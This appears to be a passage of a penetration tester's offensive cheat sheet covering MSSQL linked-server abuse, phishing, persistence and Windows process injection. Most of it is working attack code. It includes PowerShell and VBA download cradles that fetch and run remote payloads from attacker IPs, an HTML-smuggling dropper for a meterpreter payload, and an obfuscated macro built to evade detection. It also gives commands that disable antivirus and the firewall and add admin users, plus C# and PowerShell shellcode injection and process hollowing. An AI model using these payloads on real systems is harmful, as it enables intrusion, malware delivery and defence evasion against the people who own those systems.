[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa@master/dbo) (sa dbo@master)
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)


# Set the chain by using the chain ID and execute a command
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo)> set-chain c7ecd747-93cf-4978-aab2-33a8864400f1
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec whoami
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)
[*] Reconfiguring show advanced options
[*] Reconfiguring xp_cmdshell
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)
[*] Result: (Key: output) corp1\sqlsvc
[*] Result: (Key: output) NULL

# To get a shell on appsrv01 through DC01 
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -> DC01 (sa@master/dbo) -> APPSRV01 (sa>I:APPSRV01\Administrator@master/dbo)> exec "powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA"

# The encoded powershell command 
$text = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.txt') | IEX"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText

# run.txt is a powershell shellcode runner. 


--------------------------
# From GitHub

# Interactive mode
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive

# Interactive mode with 2 depth level of impersonations
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive


# Executing custom assembly on the current server with windows authentication and executing hostname command 
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

# Executing direct query
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt

mssql-spider (Great tool)

dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)

This tool is kinda similar to mssqlpwner.

# Authentication
# As local database user.

mssql-spider -u jdoe -p 'passw0rd' -t db01.corp.local

# As local windows user.

mssql-spider -w -u administrator -p 'passw0rd' -t db01.corp.local

# As domain user via NTLM and a password.

mssql-spider -d corp.local -u jdoe -p 'passw0rd' -t db01.corp.local

# As domain user via NTLM Pass the Hash.

mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local

# As domain user via Kerberos Overpass the Key.

mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local

# As domain user via Kerberos Pass the Key.

mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local

Phishing (Client side code exec)

REMEMBER – Check if MS word is running 64-bit or 32-bit

HTML Smuggeling

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

# Generate a staged payload using msfvenom. 
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe

# Saved it as base64 as to not lose any data. 
base64 msfstaged.exe  
<html>
    <body>
	<script>
		function base64ToArrayBuffer(base64) {
			var binary_string = window.atob(base64);
			var len = binary_string.length;
			var bytes = new Uint8Array( len );
			for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
                        }	
            return bytes.buffer;
}
<!-- First the base64 code which is saved in the variable file is decoded and saved to data using the base64ToArrayBuffer. When embedding the base64 code in the variable remember to remove all linebreaks and newlines.  Then the data is placed into a blob. A Blob is an opaque reference to, or handle for, a chunk of data. --> 

			var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
			var data = base64ToArrayBuffer(file);
			var blob = new Blob([data], {type: 'octet/stream'});
			var fileName = 'msfstaged.exe';

<!-- Next we create a hidden tag called "a". The data from our blob is then moved to the variable url. The variable url is a .href reference for our tag "a". Then our blob gets the fileName of msfstaged.exe from the variable fileName above. Then a click action is performed to download our file to the victim machine. -->   

			var a = document.createElement('a');
			document.body.appendChild(a);
			a.style = 'display: none';
			var url = window.URL.createObjectURL(blob);
			a.href = url;
			a.download = fileName;
			a.click();
			window.URL.revokeObjectURL(url);
	</script>
   </body>
</html>
When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.

BobTheSmuggler

TheCyb3rAlpha/BobTheSmuggler: “Bob the Smuggler”: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)

“Bob the Smuggler” is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.

# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html

# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t png test.png

# Embed payload inside GIF File:
python3 BobTheSmuggler.py -i <Input_file_path> -p <password_to_encrypt> -f <output_HTML_filename> -o <Output 7z/zip filename stored inside HTML> -t gif test.gif

Zip Sharphound and use OneDrive template.

Microsoft Office Macro Client-side Attack

REMEMBER – Check if 32-bit or 64-bit

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

Visual Basic for Applications [VBA]

'VBA Datatype 
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer 

'Example - if and else statement 
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
   MsgBox ("True")
Else
   MsgBox ("False")
End If
End Sub


'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
   MyMacro
End Sub
Sub AutoOpen()
   MyMacro
End Sub
Sub MyMacro()
   Dim str As String
   str = "cmd.exe"
   Shell str, vbHide
End Sub

'The picture below show the cmd.exe running as a child process of winword.

Persistence/ Post Explotation

Linux

CheatSheet II – Advanced – BOOK_GHANIM

Windows

# Disable Anti-virus 
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true

# Disable firewall
NetSh Advfirewall set allprofiles state off

# Enable RDP 
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -name "fDenyTSConnections" -value 0


# Disable restricted mode in order to PTH as authentication on RDP
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0

# Create a new user 
net user username password /ADD

# This will add the new user to the RDP group and local administratos group
net localgroup "Remote Desktop Users" username /add
net localgroup "Administrators" username /add

PowerShell in VBA

Download cradle

Sub MyMacro()
	Dim strArg As String
	strArg = "powershell -exec bypass -nop -c iex((new-object
system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
	Shell strArg, vbHide
End Sub

WMI: Unlinking PowerShell from Office

Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.

Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!

Sub MyMacro
   strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
   GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub

Sub AutoOpen()
   MyMacro
End Sub

Obfuscated version of WMI

  • First we’ll convert the strings using ToCharArray.
  • The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).
$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
[string]$output = ""
$payload.ToCharArray() | %{
    [string]$thischar = [byte][char]$_ + 17
    if($thischar.Length -eq 1)
    {
        $thischar = [string]"00" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 2)
    {
        $thischar = [string]"0" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 3)
    {
        $output += $thischar
    }
}
$output | clip
  • The code below is the decryption routine.
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))
        Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function
  • So combined together with Unlinking Powershell from Word code above, we will get this
Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))
        Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Function MyMacro()
    Dim Apples As String
    Dim Water As String

    'powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))
    Apples = "129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058"

    Water = Nuts(Apples)

' GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid  
            GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Water, Tea, Coffee, Napkin
End Function

Sub AutoOpen()
    MyMacro
End Sub

Process Injection

Csharp

using System;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        // Import necessary functions from kernel32.dll

        // Opens an existing local process object
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        // Reserves or commits a region of memory within the virtual address space of a specified process
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        // Writes data to an area of memory in a specified process
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        // Creates a thread that runs in the virtual address space of another process
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        static void Main(string[] args)
        {
            // Obtain a handle to the target process. Remeber to change the process ID(4804)
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);

            // Allocate memory in the target process's address space
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            // Define the shellcode bytes to inject
            byte[] buf = new byte[591]
            {
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
                // ... (rest of the shellcode)
            };
            
            // Write the shellcode to the allocated memory in the target process
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            // Create a remote thread in the target process to execute the shellcode
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Csharp – But automatically get process ID

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Inject
{
    class Program
    {
        // Import necessary functions from kernel32.dll

        // Opens an existing local process object
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        // Reserves or commits a region of memory within the virtual address space of a specified process
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        // Writes data to an area of memory in a specified process
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        // Creates a thread that runs in the virtual address space of another process
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        static void Main(string[] args)
        {
	// Automatically obtain process ID
            Process[] localByName = Process.GetProcessesByName("explorer");
            if (localByName.Length == 0)
            {
                Console.WriteLine("No explorer process found.");
                return;
            }

            int targetProcessId = localByName[0].Id;

            // Obtain a handle to the target process
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);

            // Allocate memory in the target process's address space
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);

            // Define the shellcode bytes to inject
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]
};


            // Write the shellcode to the allocated memory in the target process
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);

            // Create a remote thread in the target process to execute the shellcode
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Powershell

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
    Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
    @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
    [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$procId = (Get-Process explorer).Id

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE] 

# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)

# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx), 
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)

# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory), 
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)         

# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)

Write-Host "Injected! Check your listener!"

Process Hollowing

Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.

Stageless XOR’d

using System;
using System.Runtime.InteropServices;

namespace ProcessHollowing
{
    public class Program
    {
        public const uint CREATE_SUSPENDED = 0x4;
        public const int PROCESSBASICINFORMATION = 0;

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        public struct ProcessInfo
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public Int32 ProcessId;
            public Int32 ThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
        public struct StartupInfo
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        [StructLayout(LayoutKind.Sequential)]
        internal struct ProcessBasicInfo
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
            int dwSize, out IntPtr lpNumberOfbytesRW);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern uint ResumeThread(IntPtr hThread);

        public static void Main(string[] args)
        {
            // AV evasion: Sleep for 10s and detect if time really passed
            DateTime t1 = DateTime.Now;
            Sleep(10000);
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
            if (deltaT < 9.5)
            {
                return;
            }

            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp
            // XORed with key 0xfa
            byte[] buf = new byte[511] {
            0x06, ...SHELLCODE HERE
            };

            // Start 'svchost.exe' in a suspended state
            StartupInfo sInfo = new StartupInfo();
            ProcessInfo pInfo = new ProcessInfo();
            bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
            Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");

            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();
            uint retLen = new uint();
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
            Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");

            // Get entry point of the actual process executable
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
            // From the PEB (address we got in last call), we have to do the following:
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
            // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!

            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
            byte[] procAddr = new byte[0x8];
            byte[] dataBuf = new byte[0x200];
            IntPtr bytesRW = new IntPtr();
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
            Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");

            // 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
            Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");

            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
            uint rvaOffset = e_lfanew + 0x28;
            Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");

            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
            Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");

            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
            Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");

            // Carrying on, decode the XOR payload
            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);
            }
            Console.WriteLine("XOR-decoded payload.");

            // Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
            Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");

            // Resume the thread to trigger our payload
            uint rResult = ResumeThread(pInfo.hThread);
            Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
        }
    }
}

Stageless 2

//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7

using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;


public class Program
{

    const int PROCESS_CREATE_THREAD = 0x0002;
    const int PROCESS_QUERY_INFORMATION = 0x0400;
    const int PROCESS_VM_OPERATION = 0x0008;
    const int PROCESS_VM_WRITE = 0x0020;
    const int PROCESS_VM_READ = 0x0010;

    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread
    [DllImport("kernel32.dll")]
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);

    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread
    [DllImport("kernel32.dll")]
    static extern uint SuspendThread(IntPtr hThread);

    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread
    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);

    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection
    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);

    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);


    [DllImport("kernel32.dll")]
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

